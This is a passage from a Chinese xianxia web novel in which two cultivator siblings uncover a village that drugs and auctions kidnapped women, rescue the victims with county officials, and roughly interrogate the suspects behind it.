一声巨响传来,伏御低头看了眼炸裂的巨大石块,石块瞬间化作无数碎块向四周飞射,在雪地上砸出一个个深坑。
只见梵音身穿单薄的校服,周身热气腾腾,落下的雪花一靠近她便融化成雾气,缭绕在她身旁。
她紧闭双眸,双手结印,体内的灵力如汹涌澎湃的江河般奔腾不息。每一次呼吸,都有大片的热气涌出,瞬间将周围的冰雪化为雾气。
她那纤细的腰肢在寒风中显得更加楚楚动人,白皙的肌肤被冻得微微泛红,却更添几分娇艳。
每一次运气,周围的雪花都似乎被她的气息所搅动,形成美丽的漩涡。她的发丝随风飘动,如丝如缕。
“师兄,你来啦!”
伏御快步上前,一把拽过梵音的手,眉头紧皱,神色严肃又带着关切地说:“伤都还没痊愈,这么着急修炼呢?”
梵音微微一怔,想要挣脱却又忍住,眨眨眼小声道:“习惯了。我身体好多了,如果不修炼的话浑身上下都不舒服,你就别劝我啦。”
伏御不由分说地将梵音的手放在自己右臂上,左手搭脉探查,眼神专注而紧张。此刻,周围的风声仿佛都安静了下来,只有他们两人的呼吸声清晰可闻。
梵音看着伏御认真的模样,心中一暖,乖乖地站着不动。
伏御轻轻咳嗽一声,神色稍缓:“确实好得差不多了,但修炼还是要注意时间。知道吗?”
梵音满足地笑了,连连点头:“得令!关于师兄带队前往妖族之地解救我一事,谢谢师兄。”
伏御怔愣片刻支支吾吾道:“我....我什么都没做。是雪儿救了你。”
梵音听到雪儿的名字呆楞了片刻,眼圈微红:“雪儿....沈观!我绝对不会放过你的!”
伏御拍了拍梵音的肩膀,安慰道:“至少这件事说明雪儿并不是不把你当姐姐,她心里是有你的。”
梵音用力的点了点头,“嗯嗯。”
伏御从袖子里小心翼翼地拿出一封信,神色郑重地递给梵音,轻声说道:“掌门让我把这封信交给你,是柳府掌事写给你的信。”
梵音微微一怔,脸上满是疑惑,询问道:“柳府掌事?”
伏御郑重地点点头,赶忙回道:“据说是前日寄到定律司的,那时你不在......”
梵音怀着几分好奇拆开信封,逐字逐句仔细查看。信中写道:“梵小姐,我是柳莺。自您离开,已半月有余,案件结束后,家父身体日渐衰弱。
如今柳家由我掌管,我与三娘共同创建了诗音互助堂。其一为帮助贫困女子解决困境,其二助力女子成就自身事业。
正是有您,我们才有勇气迈出这一步,也盼望着更多女子能勇敢追随。”
“另外,是与诗音互助堂有关的事。在雷光城的湖边,我们意外救了一名女子。
此女神志不清,经过医治,她说自己曾见到妖怪,那个妖怪很可怕,可以吞噬一切。”
“她梦魇之时反复提及「善缘村」,三娘跟我说镜妖也提及过「善缘村」,似乎是去过「善缘村」。
镜妖辞世前亦曾言及此地名。她还称有一种神秘之药,能令人妖气暴增,使之得以长久维持妖力。
此药效用奇特,三娘特嘱我务必将此事详尽转告于
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您。。”
梵音读完信,内心被深深触动,她的眼眶瞬间湿润,泪水在眼中打转,终是忍不住夺眶而出。
那泪水滑过她白皙的脸颊,滴落在信纸上。她的身躯微微颤抖,仿佛沉浸在一种难以言喻的情绪之中。
伏御看到梵音落泪,顿时慌了神,急忙问道:“怎么了?” 手忙脚乱地从怀里掏出丝帕,想要为她拭去泪水。
梵音却轻轻伸手抹去眼角的泪水,顺势将碎发别至耳后,仿佛刚刚的泪水从未出现,脸上又恢复了往日的平静。
“无碍。只是觉得身为女子是一件很美好的事情。”
梵音回到屋内后开始整理目前得出的结论,镜妖最快也是半年得到的「药」,这个「药」促使她成功执行该计划。
问题一:为什么会无偿提供工具给妖?
问题二:若不是无偿的,那么镜妖回馈给背后谋划者的报酬是什么?
问题三:镜妖计划中的毒药是自己获取的还是说一样都是背后谋划者给的?
最关键的是,沈家灭族案的「妖昙土」和「罕见的花」都在柳家挖心案一一重现,两个案件肯定是有关联的。
目前「善缘村」是受害者女性和镜妖都提到的字眼,思忖及此梵音觉得自己必须要去一趟。
梵音提笔将柳家府案件的疑问和目前收集到的信息仔仔细细地写进案件卷轴之中,而后神色郑重地转身前往掌门书房。
掌门接过案件卷轴,目光专注地细细查看,对于此案遗留的问题,他不禁轻轻皱起眉头,神色略显凝重,轻轻敲击着桌面,沉声道:“梵音。对于沈观轻易放你离开这件事,你如何看待?”
梵音微微一愣,眉头轻蹙。
“根据目前收集的信息来看,我坚定地认为沈家灭族案存疑。
我始终坚信梵雪断不可能与沈观私奔,那为何沈观叛逃时会带上梵雪?
就目前沈观轻易放我离开这一举动,更加佐证了我的想法。
沈观带走梵雪,就是为了促使我去调查此案件。”
掌门微微一笑,眼神中带着几分认可与赞赏,点头赞道:“没错。当下你所发现的沈家遗址中的线索和柳家府案件之间的确存在着某种关联。
不过你也要清楚,沈观绝非清白无辜之人。
伏御和一众弟子都曾亲眼目睹万妖镇守妖族之地,若非沈观授意,又岂能做到万妖一心?”
梵音绷着脸,咕哝着道:“明白。
但就事论事,即便沈观是妖王,若他并非沈家灭族案的真凶,那么我们理应撤销对他的追杀令。”
掌门挑眉,却没有嘲笑,反而耐心地温言解释道:“浮师尊的那股子死板劲儿你倒是学得有模有样。
但如今司内本因沈观轻易放你离开已议论纷纷,切莫在他人面前为沈观辩解开脱。你可知晓?”
梵音一脸迷惑不解,疑惑道:“事实就是事实。真相不该因身份而被歪曲,身正自然不怕影子斜。”
掌门无奈地摇摇头,叹气道:“罢了罢了。「善缘村」你可以去调查,但你一人多有不便,带上你师兄一同前往。
不准拒绝!受伤了你师兄还能为你疗伤。”
梵音笑嘻嘻地应道:“得令~”
12. 拐卖供品
善缘村是一座江南水乡,依水而建。放眼望去,河水悠悠,白墙黑瓦的屋舍错落有致,宛如一幅水墨画卷。
梵音和伏御御剑飞行过程中听到不少关于善缘村的消息,善缘村村民以结善缘为荣,非常乐善好施。
但保险起见两人还是乔装打扮进村,一路上不少村民都笑容满面,看上去和乐融融,其间不时传来孩童的嬉闹声和大人们的欢笑声。
“两位,你们可是赶路啊?”
路边一位六旬老头笑嘻嘻地冲着他们打招呼,脸上的皱纹如沟壑般纵横,眼神里透着好奇与和善,他的声音在这宁静的小路上格外清晰。
梵音和伏御对视一眼,梵音微微拱手行礼,脸上带着礼貌而又略带羞涩的微笑。
“老伯。我们兄妹两人路过此地,这里打尖住宿的地方在哪呢?”
六旬老头眼睛一亮,眉开眼笑:“哎呀,是兄妹啊!两位真是相貌堂堂!
我们善缘村住宿的地方就在前面。你们往前走走就能看到啦。
客栈名就叫「善缘客栈」。”
“多谢。” 梵音和伏御点头致谢,伏御则微笑着冲老头挥了挥手。
善缘客栈的黛瓦映着波光,朱栏透着古韵。店内,梁上悬着锦绣灯笼,照得大堂一片暖黄。
小二的吆喝声在耳畔回响,窗外是潺潺流水,轻舟悠然驶过,好一处悠然之所,偶尔还能听到水流撞击船舷的轻响。
小二远远就看见两人,一路小跑着朝着他们而来,脸上堆满热情的笑容,高声喊道:“哎呀,两位贵客是打尖还是住宿啊?”
伏御眉头一挑,刚要豪气地掏出银锭。
只见梵音迅速夺走伏御的钱囊,眼神狠狠地横了一眼他,嗔怪道:“兄长!我们还要好多天的路要赶呢。”
她扭头看向小二,神色平静地说道:“小二,我们要三菜两荤一汤,再来两壶热酒即可。两间标间,需要送热水。”
伏御尴尬地挠挠头,满脸通红地应道:“... 妹妹说得极是,是兄长考虑不周。”
小二维持着笑容,收过梵音递过来的碎银两。“刚刚好哈,客官稍作休息,菜待会就上。你们随意坐哈~”
梵音环视一下周围,发现客栈仅有几个外地人,其余的基本上都是本地人。
而且本地人基本上都是一对一对的,最后她挑了个窗户边的位置坐下,轻轻撩起裙摆,优雅地落座,眉头微微蹙起,若有所思。
须臾,小二端着菜肴和酒上桌,热气腾腾,伴随着菜肴的香气,还能听到厨房传来的锅碗瓢盆碰撞声。
梵音警惕地皱起眉头,目光微凝,“我们仅要了两壶酒,怎么还多了一壶?”
小二笑嘻嘻大度状,摆了摆手,道:“善缘村最喜欢的就是广结善缘,这壶酒是我们客栈送给贵客的。”
还未等梵音作出反应,隔着两桌的两个外地年轻男子高声问道:“嗯?怎么只送他们不送我们?”
小二有些意外,没想到那两人听力这么好,赶忙陪笑道:“两位贵客稍等,都有的哈。”
梵音从怀里拿出一块碎银两递给小二,小二推搡着,连连摆手,脸上满是惶恐,说道:“贵客不用了,不用了。”
梵音低声道:“小二,善缘村可有什么古怪的传闻之类的啊?”
小二呆了几秒,脸上的笑容瞬间变得有些僵硬,眼神闪躲,连忙说道:“没有的。我们善缘村一向太平,大家都是好人。”
梵音眼神一转,嘴角微微上扬,将碎银两收了回去。
小二笑嘻嘻道:“那两位没别的事情吩咐的话,小的就先去忙了。”
伏御点了点头,夹起一块菜放入口中咀嚼,赞不绝口道:“这菜还不错,快尝尝。” 说着,端起酒杯喝了一口酒,一脸满足,此时能听到他咀嚼和吞咽的声音。
梵音捏诀在识海发起对话,“这菜你都看过了吗?有没有什么问题?”
伏御一边夹菜一边喝了一口酒,满不在乎地说道:“没问题,这酒我也闻过了。”
梵音提起筷子就开吃,一边吃一边嘟囔道:“这客栈有点说不出的古怪。不,应该说这村子很古怪。”
伏御抬眼看了一眼四周,只见人们谈笑风生,只觉得周围很太平,不解地摇摇头,疑惑道:“哪里古怪?我倒觉得这里像世外桃源一般。”
梵音思索从进村到客栈,只见到老头是独自一人,微微蹙起眉头,神色凝重地说道:“你没发现吗?从我们进村到现在,基本上本地人都携带眷侣?”
伏御略有不解道:“这有什么问题吗?”
梵音清淡中微带冷峭的目光,冷冷道:“村民不都是按照日出而作,日落而息。
可现在这个村男的不务农,女的都不织布。大家都出来吃喝玩乐,你觉得这个情况正常吗?”
伏御思忖过后,目光变得坚定,认真地说道:“今夜就不要睡了,我们出去探查一番?”
梵音心头一动,点点头,眼神向外巡视了一番。
***
夜幕如同一块厚重的黑色绸缎,严严实实地将整个客栈紧紧包裹。繁星闪烁,宛如隐藏在黑暗中的神秘眼睛,窥视着世间的一切。
月亮被乌云半遮半掩,偶尔洒下几缕朦胧的光线,让四周的景物显得影影绰绰。小径旁的树林里,不时传来几声夜莺的啼叫,声音在寂静中回荡,更增添了几分神秘的氛围。
“叩、叩、叩、”
梵音那纤细的手指有节奏地轻轻敲击着伏御的门扉,声音在寂静中显得格外清晰。伏御闻声起身,快步走向门去。
“救命啊....”
就在这时,一声尖锐的尖叫骤然响起,瞬间划破了原本的宁静。伏御神色陡然一凛,迅速伸手将门打开。然而,就在开门的瞬间,他眼睁睁看着梵音的身影如同鬼魅般消失在了客栈楼道之中。
他的眼神瞬间闪过一丝狠戾和担忧,心中暗自念叨:“梵音......你可千万不能出事啊!”随即身形一闪,朝着梵音消失的方向疾飞而去。
梵音如风一般循着那声音疾驰而去,未曾想,自己竟置身于一片浓稠的烟雾之中。
那烟雾如有生命一般,丝丝缕缕地缠绕上来,冰冷而又黏腻。周围的空气仿佛都变得沉重压抑,让人几乎喘不过气来。
“姐姐....姐姐....”梵雪的声音丝丝缕缕传入耳边。
梵音心里清楚这是幻觉,紧闭双眸,额头汗珠密布,呼吸也变得急促起来。她的双手紧紧握拳,指甲几乎嵌进掌心,试图以此来
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让自己保持清醒。
“姐姐....为什么不看我?为什么?你是不要我了吗?”
那声音如泣如诉,催人泪下。
梵音的身体开始颤抖,仿佛有一股无形的力量在拉扯着她的灵魂。她咬紧牙关,喉咙里发出低沉的嘶吼:“不,这不是真的!”
“姐姐......快看看妹妹啊....”
梵音的脑海中不断闪过各种混乱的画面,有梵雪小时候的笑脸,有她们一起经历的快乐时光,也有梵雪受伤时的痛苦表情。她拼命摇头,想要把这些画面甩出去。她紧咬下唇,都咬出了血痕,血腥的味道在口中弥漫。她深知这个幻觉正是冲着攻破人心最脆弱之处,只有疼痛才能最快破除梦魇。
梵音闭眼静心感受着空气中妖气最深的地方,从怀里迅速抽出符箓,对准那个位置厉声道:“梦障皆散,虚妄皆破,心光闪耀,梦界崩塌。”
“呜呜呜,啊!姐姐为什么这样对我.....”
随着凄厉的尖叫声渐渐远去,她长舒一口气,暗自庆幸道:“还好,还好没有自曝身份,不然估计够呛。”
她缓缓睁开眼睛,却只见一片黑暗,她伸手摸了摸身下的触感。
“人的手感?”
吓得梵音猛地跳起,她捏个火诀查看底下的人。
只见此人是个身长七尺的女子,面容颇有几分英气。但看其装束和脸上的灰尘,应该是被困在此一两天了,梵音探了探她的鼻息。
“呼~还好活着。”梵音将其扶起,双手结印捏了水诀,将其脸上的污渍轻轻擦干。脸上带着一丝歉意说道:“抱歉,把你压住了...”
周围的墙壁上,水珠不断地滴落,发出滴答滴答的声响,在这寂静的环境中显得格外清晰,每一声都像是倒计时的钟声,让人的心跳不由自主地加快。
梵音起身看了一眼地窖,唯一的出处是楼梯口的铁门,她试着推了推,那铁门纹丝未动,以普通女子的力量显然是无法破开的。
梵音眼神一转,心中暗想这铁门虽难不倒她,可现在出去的话,这个案件估计就很难查清背后势力了。
“咚、咚、咚、”
就在这时,地窖中突然传来一阵诡异的风声,吹得梵音的发丝乱舞。她立马倒地,抬眼看了一眼不远处的女子,迅速起身将其拽倒。
“卡擦、卡擦~”铁门的摩擦声响起,几缕火光将整个地窖照亮。
只听见一个刺耳的声音说道:“长老,怎么样?嘿嘿嘿,今日的供品不错吧?”
“嗯,不错不错。”那长老的声音传来,“这个小娘子,模样倒是俊俏得很,瞧这脸蛋儿,嫩得能掐出水来。还有这身段,虽说穿着这粗布衣裳,也能看出是个美人胚子。”
“另一个嘛,虽说身量高些,略为有些粗壮,但瞧着这脸蛋倒也有几分姿色。嘿嘿,咱们这次可是捡到宝了。”
梵音气得浑身发抖,却只能强忍着,在心里不断告诫自己:“小不忍则乱大谋!一定要忍住!”
“给她们再喂迷魂药,点上忘忧香再熏个一天就差不多了,抬供品的时候记得小心一点。”
刺耳的声音市侩道:“好勒。长老慢走~”
梵音听到这些话语,心猛地一沉,完了....
13. 身陷囹圄
月黑风高之夜,一场地下拍卖会悄然开启。
摇曳的烛火映照着一张张戴着诡异面具的脸庞,墙壁挂着华丽的绸缎,奢华糜烂,桌子摆放着奇珍异果。
空气中弥漫着神秘的香气,这香气似有若无,时而如幽兰般清幽,时而如麝香般浓烈,让人精神恍惚,仿佛置身于迷离幻境之中。
掌拍使身着黑袍,从黑暗中缓缓走出,他的身影在烛光下显得飘忽不定。
声音仿佛空洞又诡谲:“诸位,欢迎来到这禁忌之地,尽情享受今夜的拍卖。”台下众人屏气敛息,眼神中既有贪婪,又有警惕。
“好!别废话了!赶紧把美人们叫上来!” 只见那位身着华服、身体肥硕的男子猛地站起身来,挥舞着粗壮的手臂高呼道,脸上的横肉随着动作不停地颤动。
“就是就是!” 其他人也跟着附和,有的急得直跺脚,有的伸长了脖子向前张望。
掌拍使嘴角咧出一抹邪恶的笑容,“兄台,莫急。这不就来了吗?”
“啪、啪、啪、”
随着拍掌声响起,只见几位彪形大汉吃力地推着两个笼子上台,两个笼子都严严实实地罩着红色布罩。
台下众人嘘声不断,“快点!快点!” 有人甚至激动地拍打着桌子。
掌拍使双手轻拂,看似安抚实则敷衍地说道:“莫急莫急。今夜的供品绝对包各位贵客喜欢。”
他抬手示意,场上顿时雾气肆起,朦胧一片。
笼子里的美人娇弱地颤抖着,那如羊脂玉般洁白的肌肤在昏暗的光线下泛着迷人的光泽。
一头如瀑布般的黑发随意地散落,几缕发丝贴在那精致的脸庞上,更添几分楚楚可怜。
那玲珑有致的身材被一袭红色肚兜半遮半掩,纤细的腰肢不盈一握,修长的双腿在裙摆下若隐若现。
眼神迷离,脸色红潮不断,嘴唇微张,仿佛陷入了无尽的迷醉。
台下的人群如饿狼般涌动着,眼睛里放着光,仿佛随时都会扑向猎物。
掌拍使的声音在空气中回荡,带着一种勾魂摄魄的魔力:“诸位,拍下即可获得一个为你量身定做的美人。可以根据你需要创作记忆,让你为所欲为!”
“哇~虽然身高略高,但实在是诱人得很啊。” 有人一边流着口水,一边搓着手。
“不错不错。这个身材可真是....” 其他人也纷纷咽着口水,眼珠子都快瞪出来了。
梵音只觉得头疼欲裂,被不断涌来的嘈杂声硬生生吵醒。
低头一看,自己的衣服仅剩几缕布料,几乎跟没穿没什么两样。
她的心瞬间提到了嗓子眼,额头上冒出了细密的汗珠。
她紧张地细细聆听着布罩外那些不堪入耳的话语,一帮恶臭的男人对那个女子肆意地评头论足。
梵音只觉得后槽牙咬得咯咯作响,愤怒得身体都在微微颤抖。她赶忙捏诀在识海中发起对话:“师兄?师兄你在吗?”
伏御在拍卖会角落强装镇定,其实内心忐忑不安,手心里全是汗水。
他暗自思忖着还好先掀开的不是梵音,不然自己的肯定是一刀毁了这个拍卖会。
庆幸的是梵音是清醒的,这个女子明显看着神智不清的模样让他心里惴惴不安。一想到这里,他不禁深吸一口气,努力平复着自己紧张的心情。
在梵音被迷晕之前,她酒在识海中告知伏御自己和一名女子被囚禁在地窖之中,地窖中还有诡异的奇香,让伏御假装出村寻找,实则潜回客栈查探。
伏御先是假装自己出村,而后偷偷潜回客栈。
可他万万没想到的是,深夜之际善缘村竟将外地人全部用奇香迷晕,整个村本地人戴着诡异的面罩都匆忙赶往一个地方。他悄悄跟在人群末尾,将其中一人敲晕,伪装成本地人,这才跟着进入了这犹如地狱般的地窖。
“好了!话不多说!我们先直接拍卖,从一万两白银起拍。” 掌拍使那尖锐的声音划破了现场的沉寂。
“两万两。” 一个满脸横肉的富商迫不及待地喊道。
“三万两。” 另一个声音也紧接着响起。
“十万两!” 一个财大气粗的声音震耳欲聋。
掌拍使兴奋得双眼放光,扯着嗓子呼喊道:“十万两一次!十万两两次!十万两三次!”
“成交!”
这边拍卖进行得热火朝天,另一边梵音在和伏御的识海对话中迅速了解了大部分情况。
谁能想到这个表面看似平和、号称广结善缘的地方,实则整个村庄都从事着拐卖女人、兜售女人的罪恶勾当!
她面上没有一点血色,缓缓道:“这个村,必须得铲除了!师兄先将地窖门破开吸引火力,我这边会自己破开笼子。”
潜伏在地窖门口的伏御从万宝袋中抽出宝剑,运足内力,猛地一挥,“哐当” 一声,地窖门瞬间破碎。
“怎么回事?!” 掌拍使大惊失色,一眼看见伏御,怒声大喊:“来人!把他给我抓住!”
一时间,场上陷入了极度的混乱,惊慌声、呼喊声、踩踏声交织在一起,乱成了一锅粥。
梵音深吸一口气,盘腿而坐,紧闭双眼,体内真气迅速流转。她猛地睁开双眼,大喝一声,将全身力量汇聚于双手,朝着笼子狠狠发力。
只听得 “轰” 的一声,笼子瞬间炸裂开来,碎屑四溅。她伸手迅速将红色布罩扯下,紧紧地披在自己身上。
掌拍使见局势失控,脸色变得极为阴沉,眼中闪过一丝狡黠与慌乱。
他趁着众人注意力都在梵音和伏御身上的混乱时刻,偷偷按下了隐藏在角落的暗器开关。
只听“嘎吱”一声,一道暗门在角落里悄然打开,他身形一闪,如鬼魅般迅速钻进地道。
场上突然传来阵阵低沉的咆哮声,一群变异的狼群不知从何处涌现出来。它们身形巨大,毛发耸立,獠牙锋利,眼中闪烁着凶恶的血红色光芒,仿佛来自地狱的恶魔。
本欲追上掌拍使的梵音咬咬牙,看了一眼还在笼子里没有意识的女子。她
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起身飞身冲向那名女子的笼子,剑一挥,“咔嚓”一声,笼子的锁应声而断。
她迅速将女子从笼子中拉出,用红色布罩将其拢住护在身后。
那女子在梵音怀中,身体不停地颤抖着,眼神中充满了恐惧,脸色苍白如纸。但在不经意间,她的嘴角微微抽动了一下,目光中闪过一丝不易察觉的异样光芒。
狼群如潮水般汹涌而来,梵音心中暗想:“绝不能让这些畜生伤到人!”她咬紧牙关,清淡中微带冷峭的目光,手中宝剑挥舞得密不透风。
每一次挥剑都带着凌厉的风声,剑刃与狼爪碰撞,溅出点点火花。
一只恶狼猛地扑向她,梵音侧身闪躲,手中宝剑顺势一挥,狼头瞬间滚落,鲜血如注般喷射而出,溅满了地面。汗水顺着她的额头流下,浸湿了她的衣衫。
另一边,伏御身陷重围,与整个善缘村村民和拍卖会的恶汉展开了殊死搏斗。他的剑法凌厉,但因为面对的都是普通人,他只能将其打晕或者让其丧失行动力。但敌人源源不断地涌上来,他的体力逐渐消耗。
他的呼吸变得急促,手臂也开始酸痛。一时间,气氛紧张到了极点,仿佛空气都要凝固。
梵音因为一只手搂着女子,行动受到极大限制,只能单手执剑应对狼群的攻击。
又一只狼如闪电般趁机扑来,锋利的爪子像无情的镰刀划过她的肩膀,顿时皮肉翻飞,鲜血如决堤的洪水瞬间染红了她的衣衫。
梵音忍着剧痛,反手一剑如雷霆之势狠狠刺穿了狼的心脏,狼的尸体像倒塌的巨塔沉重地轰然倒在地上。
狼群似乎被激怒了一般,三只恶狼同时向梵音发起攻击。只见一只恶狼即将咬住她脖颈之时,怀里的那名女子突然伸手将梵音紧紧搂紧。
她不禁略有些诧异,腰上那炙热的温度和强大的力度让她产生了一种略为被侵略的感觉。
而原本凶猛扑咬的狼群忽然像是感受到了某种不可抗拒的圣旨,一只只瞬间变得温顺无比,它们纷纷低下头,乖巧得如同被驯服的小绵羊。
梵音低头一看,那名女子却依旧双眼迷离毫无意识的状态。她心中一怔,略有所思。
“尔等恶徒,今日便是你们的覆灭之时!吾乃雷光城柳县丞,还不速速放下凶器,老老实实地束手就擒!坦白从宽者,尚有一线生机;负隅顽抗者,必遭严惩,绝不姑息!”
梵音闻言抬眼看向地窖门口,原来是柳大人带领一众衙役及时冲进了地窖。只见柳大人身着官服,威风凛凛,正气浩然。
衙役们训练有素,迅速与伏御联手,对村民和恶汉展开了围剿。他们配合默契,动作敏捷,很快就将一众村民制服,局势瞬间逆转。
梵音和伏御终于松了一口气,疲惫地瘫坐在地上。
柳大人面色凝重地说道:“梵仙人,我等收到加急密信便立马赶过来了。这群无法无天的恶徒,定要严惩不贷,还那些女子一个公道!”
梵音略为一顿,颇有些惊讶道:“来信?我并未给寄信给柳大人啊!”
14. 地狱笑话
柳大人颇有些讶异,瞪大了眼睛说道:“可那日来衙门之人,面容与梵仙人颇有几分相似之处。所以......”
“该不会是雪儿吧?”
伏御的脸色瞬间变得凝重起来。他拽了一把柳大人的胳膊肘子,柳大人面带疑惑地看着伏御,眉头紧皱,满心不解。
梵音赶忙介绍道:“这位便是我的师兄——伏御。”
柳大人拍了拍手,恍然大悟地叫道:“啊!就是柳师爷所说的神农后代!”
梵音接着说道:“这位便是雷光城的柳县令。”
伏御连忙拱手行礼道:“伏御见过柳大人,方才冒犯大人,多有得罪。”
柳大人摆了摆手,说道:“小事,小事。”
梵音就地拿起一块石头,在地上仔细画了梵雪的长相,抬头问道:“这可是给大人递口信之人?”
柳大人低头一看,连连点头:“没错!就是这名女子,这位女子是?”
梵音脸色一沉,眉头紧锁,眼中闪过一丝忧虑,说道:“这是我的亲妹妹,梵雪。”
柳大人摩挲着胡须,若有所思地说道:“难怪我瞧着有几分相似。她现在人呢?”
梵音和伏御对视一眼,眼神中充满了担忧与急切,说道:“我瞧见那个掌使者从地道逃走了。有暗室的话就有开关,我们再找找?”
柳大人神色严峻,目光中透着坚决,说道:“居然还有漏网之鱼?快找找!不能放过一个人!”
梵音快步往拍卖会台上摸索,心中暗想,记忆没出错的话就在这附近。只见墙壁之中有一个微凹的地方,她仔细观察这处凹处,发现边缘痕迹明显,是人为造成的。
她朝凹处一按,并未有动静。于是她按下旋转,“卡擦——”
“小心!地面留三人进行驻守,其余人跟着梵仙人一起进去!”柳大人高声喝道。
“是!”众人齐声应道。
一行人随着梵音往隧道中去,隧道中点着昏暗的油灯,那微弱的光线在黑暗中摇曳不定。七拐八拐之中,梵音发现似乎这个隧道就是整个村的地下通道,阴冷潮湿的气息扑面而来,让人不禁心生寒意。
“唔——唔——”
梵音听到声响,立刻举手示意,她举起手中的剑,剑身在油灯的映照下闪烁着寒光。
伏御与一众衙役心领神会,纷纷提起武器,神色紧张,随着离声音越来越近,大家的心跳愈发急促,仿佛要从嗓子眼蹦出来。
可万万没想到,入眼竟是这番场景。
只见两个手脚和嘴巴都被捆绑的男子,其中一个是拍卖会的掌使者,那掌使者身材肥胖,满脸横肉,一双小眼睛滴溜溜地转着,透着令人作呕的狡黠与猥琐。他的头发油腻腻地贴在头皮上,脸上泛着油光,蒜头鼻子下一张大嘴此刻正嘟囔着,似乎在咒骂着什么。
另一个是个三旬男子,他长相憨厚,浓眉大眼,皮肤黝黑,看上去像是个老实巴交的庄稼汉。此刻他的眼中充满了恐惧和无助,脸上满是汗水,头发凌乱不堪。
而在他们两个的身后,是整个村的女子。这些女子皆眼神迷离,目光空洞无神,像是失去了灵魂一般。
有的女子头发蓬乱如草,有的衣衫不整,脸上还带着未干的泪痕。她们或坐或躺,姿态各异,却都如同被抽去了生机的木偶,呆滞而又麻木。
梵音眉头紧皱,冲上去对着那两人便是两脚。
“唔——唔——”
那掌使者眼中先是闪过一丝难以掩饰的慌乱,可很快又强装出镇定的模样,撇着嘴不服气地哼了一声。
三旬男子则被吓得脸色煞白,浑身颤抖如筛糠,拼命地扭动着身体,试图挣脱身上的束缚,嘴里发出含糊不清、带着哭腔的呜呜声。
“咳咳.....”
梵音又抬起脚,用尽全身力气狠狠地又踹了几脚,面色凝重得仿佛能滴出水来,“我潜入之时,他们就以迷魂药搭配忘忧香对付被拐女子。令人作呕!谁能想到这个表面声名远扬的村子竟是如此肮脏不堪,藏着这般令人发指的罪行。”
“啪啪啪啪——”
说完,梵音眉睫一跳,眸中闪过一道如刀锋般尖锐的亮光。她扬起手,朝两人的脸上各狠狠地扇了两大嘴巴子,那清脆响亮的声音在这狭小的空间里回荡,两人的脸颊瞬间红肿得如同熟透的桃子。
梵音一把拽掉两人嘴上的封条,一字一句地问道:“说!到底怎么回事?是谁绑了你们?”
掌使者斜着眼睛,面带不屑,冷哼一声:“哼!”
三旬男子则涕泗横流,哭得声嘶力竭,颤抖着说道:“我...我只是听从指挥而已。”
梵音“唰”地一下抽出剑,毫不犹豫地朝着掌使者的脖子迅猛地刺去。剑划过脖颈处,一道细微的伤口出现,血管处立时涌出一丝鲜血。
“好了!我说,我说!是一个长相与你相似的女子将我们绑了起来。我们是无辜的!”
梵音眸色中隐隐涌起风雷之气,薄唇轻抿,朝着他的脸颊又毫不留情地连赏了几巴掌。
“呜呜呜——你们都不管的吗?任人打无辜百姓的吗?”
柳大人和一众衙役:“....做了我一直很想做,但不敢做的事。解气!”
伏御蹲下身,仔细查看角落的瓶瓶罐罐,时而拿起一个瓶子放在鼻尖嗅一嗅,时而眉头紧锁,思考片刻,半晌后说道:“除了这两种,应该还有一种药,我需要再研究一下才能调出解药。”
柳大人当机立断,大手一挥:“先将这两人捉回去,引导全村女子重回地面进行治疗。”
众人齐声应道,随后押着那两个男子,小心翼翼地搀扶着那些神情恍惚的女子,沿着隧道缓缓往地面走去。众人的脚步沉重而缓慢,在这昏暗的隧道中,只听见粗重的呼吸声和偶尔的抽泣声。
押解犯人的路上,气氛压抑而沉重。梵音微微眯起眼睛,察觉到那名三旬男子身上散发着丝丝缕缕若有若无的妖气。她再次认真地看了看这名男子的长相,心中不由得略有所思,脚步也慢了下来。
“我要回家!我要回家!”
原来是被迷倒的那名女子醒了过来,她双手不停地挥舞,几名衙役赶忙上前,好言相劝。“姑娘,稍安勿躁。待会需要你
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写案件笔录,录完你就可以回家了。”
“可....我家在哪?”
几位衙役面面相觑,一时不知如何是好,只能无奈地对视,摇头叹气。
“怎么回事?”梵音一行人刚从隧道出来,柳大人见状,三步并作两步走上前,急切地发问。
“禀报大人。这位被害者刚刚苏醒后吵着要回家,但又不知道家在哪里.....”
那名女子抬眼看到人群中的梵音,眼中顿时闪过一丝光芒,小跑着冲向梵音,双手死死拽着梵音的外袍,身体不停地颤抖。
伏御抬手试图阻止,温和地说道:“姑娘。你可能是吃了迷魂药和吸入忘忧香导致的记忆紊乱。要不,我给你号脉看看?”
那名女子略带谨慎和敌意地看向伏御,梵音轻轻拉起她的手,温柔地安慰道:“无碍。你可以相信他的。”
那名女子闻言,这才犹豫着将手递给伏御,另一只手却紧紧搂着梵音。
“看脉象确实是紊乱的,待会我看看这个脉象是否和村子里的女子是否一致。
如若一致的话,后续解药调制出来后记忆应该就恢复正常了。”
柳大人大步上前,竖起大拇指大赞道:“不愧是神农后代啊!这个村庄的受害者都拜托伏仙人了!”
伏御连忙摆手,谦虚道:“柳大人谬赞。别叫我伏仙人,折煞我也。”
梵音走向那名三旬男子,眼睛一眨不眨地仔细盯着他的脸部。
一旁紧跟其后的那名女子二话不说发难,飞起一脚朝那名男子脸上踹了过去。
“唔、唔、唔——”
梵音有些讶异地看了一眼,那名女子又瞬间装出一副娇弱不堪的模样,紧紧依偎着梵音。
伏御和柳大人一众人心里暗道:“这七尺女子是在装柔弱吗?”
梵音脚步微凝,眸光幽幽闪了一下,发现被踹的脸部肿得有些奇怪,她伸出手,捏起男子脸上的皮组织,使劲一扯。
“嘶——”
伏御和柳大人一众人听到这声音,通通撇过头不敢看。
“面具?居然是个老头子!”一个娇弱但带着几分浑厚的声音响起。
伏御指着那名老头,惊讶得瞪大了眼睛。“这.....这不是我们遇到的那个老伯吗?”
梵音目中波光流转,凝于老头的侧面,冷冷道:“不出意外的话,他就是幕后之人。
每天在村口巡逻,既是查找目标也是防止受害者逃跑。
甚至在被抓前还将自己伪装成啰啰,妄图借此逃脱!”
“我们不过是收留了一些流离失所的女子罢了,善缘村都是好人。”那名老头神色自在,脸上毫无愧疚之色,甚至还带着一丝挑衅,丝毫不觉得自己有任何问题。
梵音眸中闪过一丝冷意,猛地拔剑往其腿肚子狠狠一插,语气如冰:“你身上携带着妖气,但却看不出你的妖身本体。你是吃了什么药隐藏的?”
“啊!”
老头瞬间发出凄厉的尖叫声,整个身躯如同一尾被丢上岸的鱼,剧烈地翻涌着,疼得五官扭曲,声嘶力竭地直叫。
15. 恶贯满盈
